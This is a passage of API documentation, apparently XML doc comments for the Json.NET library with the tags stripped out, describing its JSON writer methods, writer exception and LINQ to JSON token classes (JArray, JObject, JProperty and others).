Asynchronously writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the start of a constructor with the given name. + + The name of the constructor. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the beginning of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the current token. + + The to read the token from. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the current token. + + The to read the token from. + A flag indicating whether the current token's children should be written. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the token and its value. + + The to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the token and its value. + + The to write. + + The value to write. + A value is only required for tokens that have an associated value, e.g. the property name for . + null can be passed to the method for tokens that don't have a value, e.g. . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a [] value. + + The [] value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes an undefined value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the given white space. + + The string of white space characters. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously ets the state of the . + + The being written. + The value being written. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Gets or sets a value indicating whether the destination should be closed when this writer is closed. + + + true to close the destination when this writer is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. + + + true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. + + + + + Gets the top. + + The top. + + + + Gets the state of the writer. + + + + + Gets the path of the writer. + + + + + Gets or sets a value indicating how JSON text output should be formatted. + + + + + Gets or sets how dates are written to JSON text. + + + + + Gets or sets how time zones are handled when writing JSON text. + + + + + Gets or sets how strings are escaped when writing JSON text. + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written to JSON text. + + + + + Gets or sets how and values are formatted when writing JSON text. + + + + + Gets or sets the culture used when writing JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the destination and also flushes the destination. + + + + + Closes this writer. + If is set to true, the destination is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the end of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the end of an array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end constructor. + + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes the end of the current JSON object or array. + + + + + Writes the current token and its children. + + The to read the token from. + + + + Writes the current token. + + The to read the token from. + A flag indicating whether the current token's children should be written. + + + + Writes the token and its value. + + The to write. + + The value to write. + A value is only required for tokens that have an associated value, e.g. the property name for . + null can be passed to the method for tokens that don't have a value, e.g. . + + + + + Writes the token. + + The to write. + + + + Writes the specified end token. + + The end token to write. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON without changing the writer's state. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Sets the state of the . + + The being written. + The value being written. + + + + The exception thrown when an error occurs while writing JSON text. + + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Specifies how JSON comments are handled when loading JSON. + + + + + Ignore comments. + + + + + Load comments as a with type . + + + + + Specifies how duplicate property names are handled when loading JSON. + + + + + Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. + + + + + Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. + + + + + Throw a when a duplicate property is encountered. + + + + + Contains the LINQ to JSON extension methods. + + + + + Returns a collection of tokens that contains the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the descendants of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, and the descendants of every token in the source collection. + + + + Returns a collection of child properties of every object in the source collection. + + An of that contains the source collection. + An of that contains the properties of every object in the source collection. + + + + Returns a collection of child values of every object in the source collection with the given key. + + An of that contains the source collection. + The token key. + An of that contains the values of every token in the source collection with the given key. + + + + Returns a collection of child values of every object in the source collection. + + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child values of every object in the source collection with the given key. + + The type to convert the values to. + An of that contains the source collection. + The token key. + An that contains the converted values of every token in the source collection with the given key. + + + + Returns a collection of converted child values of every object in the source collection. + + The type to convert the values to. + An of that contains the source collection. + An that contains the converted values of every token in the source collection. + + + + Converts the value. + + The type to convert the value to. + A cast as a of . + A converted value. + + + + Converts the value. + + The source collection type. + The type to convert the value to. + A cast as a of . + A converted value. + + + + Returns a collection of child tokens of every array in the source collection. + + The source collection type. + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child tokens of every array in the source collection. + + An of that contains the source collection. + The type to convert the values to. + The source collection type. + An that contains the converted values of every token in the source collection. + + + + Returns the input typed as . + + An of that contains the source collection. + The input typed as . + + + + Returns the input typed as . + + The source collection type. + An of that contains the source collection. + The input typed as . + + + + Represents a collection of objects. + + The type of token. + + + + Gets the of with the specified key. + + + + + + Represents a JSON array. + + + + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous load. The property contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous load. The property contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Loads an from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads an from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the at the specified index. + + + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Inserts an item to the at the specified index. + + The zero-based index at which should be inserted. + The object to insert into the . + + is not a valid index in the . + + + + + Removes the item at the specified index. + + The zero-based index of the item to remove. + + is not a valid index in the . + + + + + Returns an enumerator that iterates through the collection. + + + A of that can be used to iterate through the collection. + + + + + Adds an item to the . + + The object to add to the . + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the to an array, starting at a particular array index. + + The array. + Index of the array. + + + + Gets a value indicating whether the is read-only. + + true if the is read-only; otherwise, false. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Represents a JSON constructor. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets or sets the name of this constructor. + + The constructor name. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name. + + The constructor name. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a token that can contain other tokens. + + + + + Occurs when the list changes or an item in the list changes. + + + + + Occurs before an item is added to the collection. + + + + + Occurs when the items list of the collection has changed, or the collection is reset. + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Raises the event. + + The instance containing the event data. + + + + Raises the event. + + The instance containing the event data. + + + + Raises the event. + + The instance containing the event data. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Get the first child token of this token. + + + A containing the first child token of the . + + + + + Get the last child token of this token. + + + A containing the last child token of the . + + + + + Returns a collection of the child tokens of this token, in document order. + + + An of containing the child tokens of this , in document order. + + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + + A containing the child values of this , in document order. + + + + + Returns a collection of the descendant tokens for this token in document order. + + An of containing the descendant tokens of the . + + + + Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. + + An of containing this token, and all the descendant tokens of the . + + + + Adds the specified content as children of this . + + The content to be added. + + + + Adds the specified content as the first children of this . + + The content to be added. + + + + Creates a that can be used to add tokens to the . + + A that is ready to have content written to it. + + + + Replaces the child nodes of this token with the specified content. + + The content. + + + + Removes the child nodes from this token. + + + + + Merge the specified content into this . + + The content to be merged. + + + + Merge the specified content into this using . + + The content to be merged. + The used to merge the content. + + + + Gets the count of child JSON tokens. + + The count of child JSON tokens. + + + + Represents a collection of objects. + + The type of token. + + + + An empty collection of objects. + + + + + Initializes a new instance of the struct. + + The enumerable. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Gets the of with the specified key. + + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Represents a JSON object. + + + + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Occurs when a property value changes. + + + + + Occurs when a property value is changing. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Gets the node type for this . + + The type. + + + + Gets an of of this object's properties. + + An of of this object's properties. + + + + Gets a with the specified name. + + The property name. + A with the specified name or null. + + + + Gets the with the specified name. + The exact name will be searched for first and if no matching property is found then + the will be used to match a property. + + The property name. + One of the enumeration values that specifies how the strings will be compared. + A matched with the specified name or null. + + + + Gets a of of this object's property values. + + A of of this object's property values. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the with the specified property name. + + + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified property name. + + Name of the property. + The with the specified property name. + + + + Gets the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + One of the enumeration values that specifies how the strings will be compared. + The with the specified property name. + + + + Tries to get the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + The value. + One of the enumeration values that specifies how the strings will be compared. + true if a value was successfully retrieved; otherwise, false. + + + + Adds the specified property name. + + Name of the property. + The value. + + + + Determines whether the JSON object has the specified property name. + + Name of the property. + true if the JSON object has the specified property name; otherwise, false. + + + + Removes the property with the specified name. + + Name of the property. + true if item was successfully removed; otherwise, false. + + + + Tries to get the with the specified property name. + + Name of the property. + The value. + true if a value was successfully retrieved; otherwise, false. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Represents a JSON property. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the property name. + + The property name. + + + + Gets or sets the property value. + + The property value. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a view of a . + + + + + Initializes a new instance of the class. + + The name. + + + + When overridden in a derived class, returns whether resetting an object changes its value. + + + true if resetting the component changes its value; otherwise, false. + + The component to test for reset capability. + + + + When overridden in a derived class, gets the current value of the property on a component. + + + The value of a property for a given component. + + The component with the property for which to retrieve the value. + + + + When overridden in a derived class, resets the value for this property of the component to the default value. + + The component with the property value that is to be reset to the default value. + + + + When overridden in a derived class, sets the value of the component to a different value. + + The component with the property value that is to be set. + The new value. + + + + When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. + + + true if the property should be persisted; otherwise, false. + + The component with the property to be examined for persistence. + + + + When overridden in a derived class, gets the type of the component this property is bound to. + + + A that represents the type of component this property is bound to. + When the or + + methods are invoked, the object specified might be an instance of this type. + + + + + When overridden in a derived class, gets a value indicating whether this property is read-only. + + + true if the property is read-only; otherwise, false. + + + + + When overridden in a derived class, gets the type of the property. + + + A that represents the type of the property. + + + + + Gets the hash code for the name of the member. + + + + The hash code for the name of the member. + + + + + Represents a raw JSON string. + + + + + Asynchronously creates an instance of with the content of the reader's current token. + + The reader. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns an instance of with the content of the reader's current token. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class. + + The raw json. + + + + Creates an instance of with the content of the reader's current token. + + The reader. + An instance of with the content of the reader's current token. + + + + Specifies the settings used when cloning JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets a flag that indicates whether to copy annotations when cloning a . + The default value is true. + + + A flag that indicates whether to copy annotations when cloning a . + + + + + Specifies the settings used when loading JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets how JSON comments are handled when loading JSON. + The default value is . + + The JSON comment handling. + + + + Gets or sets how JSON line info is handled when loading JSON. + The default value is . + + The JSON line info handling. + + + + Gets or sets how duplicate property names in JSON objects are handled when loading JSON. + The default value is . + + The JSON duplicate property name handling. + + + + Specifies the settings used when merging JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the method used when merging JSON arrays. + + The method used when merging JSON arrays. + + + + Gets or sets how null value properties are merged. + + How null value properties are merged. + + + + Gets or sets the comparison used to match property names while merging. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + The comparison used to match property names while merging. + + + + Specifies the settings used when selecting JSON. + + + + + Gets or sets a timeout that will be used when executing regular expressions. + + The timeout that will be used when executing regular expressions. + + + + Gets or sets a flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + A flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + + + Represents an abstract JSON token. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Writes this token to a asynchronously. + + A into which this method will write. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously creates a from a . + + An positioned at the token to read into this . + The token to monitor for 